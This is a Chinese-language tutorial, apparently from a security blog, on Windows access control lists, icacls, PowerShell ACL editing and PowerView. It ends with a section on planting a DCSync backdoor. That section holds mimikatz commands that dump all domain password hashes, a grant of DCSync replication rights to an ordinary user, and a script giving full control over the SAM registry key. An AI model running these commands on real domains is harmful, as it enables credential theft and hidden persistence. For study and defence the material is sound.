ACL(Access Control List)

ACL是一个windows中的表示用户(组)权限的列表。访问控制列表(ACL)是访问控制项(ACE)的列表。ACL中的每个ACE标识一个用户,并指定该用户允许、拒绝或审核的访问权限

ACL分为两类:

  1. Discretionary Access Control List (DACL) 自由访问控制列表
  2. System Access Control List (SACL) 系统访问控制列表

当一个进程试图访问一个安全对象时,系统会检查该对向的DACL中的ACE:

  1. 如果该对象没有DACL,允许任何访问。
  2. 如果存在DACL,系统会顺序遍历DACL中的每个ACE,检查ACE中的SID在线程的令牌中是否存在。以访问者中的User SIDGroup SID作为关键字查询被访问对象中的DACL。顺序:先查询类型为DENYACE,若命中且权限符合则访问拒绝;未命中再在ALLOWED类型的ACE中查询,若命中且类型符合则可以访问;以上两步后还没命中那么访问拒绝。

文件中的ACL

我们以C:\Windows\SYSVOL\sysvol\qiyou.com为例子

默认有5个DACL

image.png
image.png

选中一条DACL,其中包含多个ACE,表示具有的权限

image.png
image.png
  1. 命令行查看文件的ACL
image.png
image.png
  1. 备份指定ACL
    1
    icacls qiyou.com /save acl.bak /t
image.png
image.png
  1. 还原指定ACL

    1
    icacls qiyou.com /restore acl.bak /t
  2. 添加用户对指定文件的完全访问权限

我们以删除之前生成的acl.bak,可以看到是域管理员是没有ACL

image.png
image.png

添加了F权限之后就可以删除了

1
icacls qiyou.com /grant administrator:(F) /t

image.png
image.png
  1. 移除用户对指定文件的完全访问权限

    1
    icacls qiyou.com /remove qiyou /t
  2. Powershell查看ACL

    1
    Get-Acl -Path 'qiyou.com'| ft -Wrap -AutoSize
image.png
image.png

注册表中ACL

查看指定路径的ACL

1
Get-Acl -Path 'HKLM:\SAM'| ft -Wrap -AutoSize

image.png
image.png

查看Access项的具体内容:

1
2
$acl = Get-Acl -Path 'HKLM:\SAM'
$acl.Access
image.png
image.png

添加用户qiyou对注册表指定路径的完全访问权限

1
2
3
4
5
6
7
8
9
10
$acl = Get-Acl HKLM:\SAM
$person = [System.Security.Principal.NTAccount]"qiyou"
$access = [System.Security.AccessControl.RegistryRights]"FullControl" # 即(F)
$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit" # 即(OI)、(CI)
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow" # 规则为允许访问
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule) # 删除:$acl.RemoveAccessRule($rule)
Set-Acl HKLM:\SAM $acl

:(1)修改注册表项HKLM:\SAM的ACL需要Administrator权限,(2)修改注册表项HKLM:\SAM\SAM的ACL需要System权限

:标志符的含义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
简单权限序列:
N - 无访问权限
F - 完全访问权限
M - 修改权限
RX - 读取和执行权限
R - 只读权限
W - 只写权限
D - 删除权限

在括号中以逗号分隔的特定权限列表:
DE - 删除
RC - 读取控制
WDAC - 写入 DAC
WO - 写入所有者
S - 同步
AS - 访问系统安全性
MA - 允许的最大值
GR - 一般性读取
GW - 一般性写入
GE - 一般性执行
GA - 全为一般性
RD - 读取数据/列出目录
WD - 写入数据/添加文件
AD - 附加数据/添加子目录
REA - 读取扩展属性
WEA - 写入扩展属性
X - 执行/遍历
DC - 删除子项
RA - 读取属性
WA - 写入属性

继承权限可以优先于每种格式,但只应用于目录:
(OI) - 对象继承
(CI) - 容器继承
(IO) - 仅继承
(NP) - 不传播继承
(I) - 从父容器继承的权限

Powerview中常用于ACL的功能

  1. 获得当前域内所有对象

    1
    Get-DomainObject -Domain qiyou.com
  2. 获得当前域内所有对象的ACL

    1
    Get-DomainObjectAcl -Domain qiyou.com
  3. 获得指定用户的ACL

    1
    Get-DomainObjectAcl -Domain qiyou.com -Identity qiyou
  4. 添加用户对指定对象(guid)的完全访问权限

    1
    Add-DomainObjectAcl -TargetIdentity 'guid' -PrincipalIdentity qiyou -Rights All
  5. 移除用户对指定对象(guid)的完全访问权限

    1
    Remove-DomainObjectAcl -TargetIdentity 'guid' -PrincipalIdentity qiyou -Rights All

利用ACL实现DCSync后门

如果我们得到了一个域管理权限,那么我们可以使用DCSync导出域内所有用户的hash

1
mimikatz.exe privilege::debug "lsadump::dcsync /domain:qiyou.com /all /csv" exit

导出指定用户的hash

1
mimikatz.exe privilege::debug "lsadump::dcsync /domain:qiyou.com /user:administrator /csv" exit

默认情况下,只有Domain ControllersEnterprise Admins权限能够使用DCSync
域内普通用户如果要利用DCSync的话需要添加如下三条ACE(Access Control Entries):

  • DS-Replication-Get-Changes (GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All (GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes (GUID:89e95b76-444d-4c62-991a-0facbeda640c)

使用Powerview添加ACL

1
Add-DomainObjectAcl -TargetIdentity "DC=qiyou,DC=com" -PrincipalIdentity qiyou -Rights DCSync -Verbose
image.png
image.png

这样就可以在另外一台主机登陆了qiyou这个账号用DCSync

image.png
image.png

删除ACL

1
Remove-DomainObjectAcl -TargetIdentity "DC=qiyou,DC=com" -PrincipalIdentity qiyou -Rights DCSync

image.png
image.png

可以看到删除了ACL之后无法获取hash了

image.png
image.png

Reference

https://blog.csdn.net/u011801161/article/details/45567289

https://docs.microsoft.com/zh-cn/windows/win32/secauthz/access-control-lists

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B8%8B%E7%9A%84Access-Control-List/